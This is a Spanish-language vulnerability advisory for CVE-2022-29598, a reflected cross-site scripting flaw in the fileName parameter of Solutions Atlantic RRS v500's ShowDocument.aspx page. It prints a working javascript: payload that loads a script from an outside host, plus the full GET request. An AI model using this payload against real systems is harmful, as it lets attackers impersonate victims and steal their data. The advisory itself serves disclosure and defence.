
La aplicación RRS v500 es vulnerable a una vulnerabilidad de Cross-Site Scripting (XSS) reflejado.
URL de Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29598
URL de NIST: https://nvd.nist.gov/vuln/detail/CVE-2022-29598
La aplicación RRS v500 de Solutions Atlantic es vulnerable a una vulnerabilidad de Cross-Site Scripting (XSS) reflejado. La explotación de una vulnerabilidad XSS podría permitir a un adversario hacerse pasar por el usuario víctima, divulgar datos sensibles o realizar acciones que el usuario víctima tiene permitido realizar.
Se encontró que el parámetro fileName acepta entrada del usuario y la refleja en la respuesta del servidor. Aunque se realizó cierto filtrado y saneamiento de la entrada del usuario antes de la reflexión, como la codificación de algunos caracteres especiales (símbolos mayor/menor que), dado que la reflexión ocurría en un contexto JavaScript, se podía inyectar código JavaScript en la respuesta del servidor, evadiendo las restricciones.
URL afectada:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxCarga útil XSS utilizada:
javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';//URL afectada:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxLa aplicación tiene la capacidad de enlazar a sitios web externos. Al seleccionar un enlace al sitio externo, se realiza una solicitud a /RRSWeb/maint/ShowDocument/ShowDocument.aspx con dos parámetros: fileName, que contendrá la URL del sitio externo al que se redirigirá, y requestType, que tendrá el valor ExternalLink. Siempre que el parámetro requestType esté configurado con su valor predeterminado, cualquier cosa que el usuario introduzca en el parámetro fileName se reflejará en un contexto JavaScript, específicamente dentro de un window.location.href. Usando una carga útil XSS con una directiva JavaScript, puede ocurrir un ataque exitoso de XSS reflejado.
Solicitud GET con carga útil XSS:
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?requestType=ExternalLink&fileName=javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';// HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://<REDACTED>/RRSweb/default.aspx
Cookie: ASP.NET_SessionId=<REDACTED>
Upgrade-Insecure-Requests: 1
Content-Length: 0
Respuesta del servidor:

Renderizado en el navegador:

Abril 2022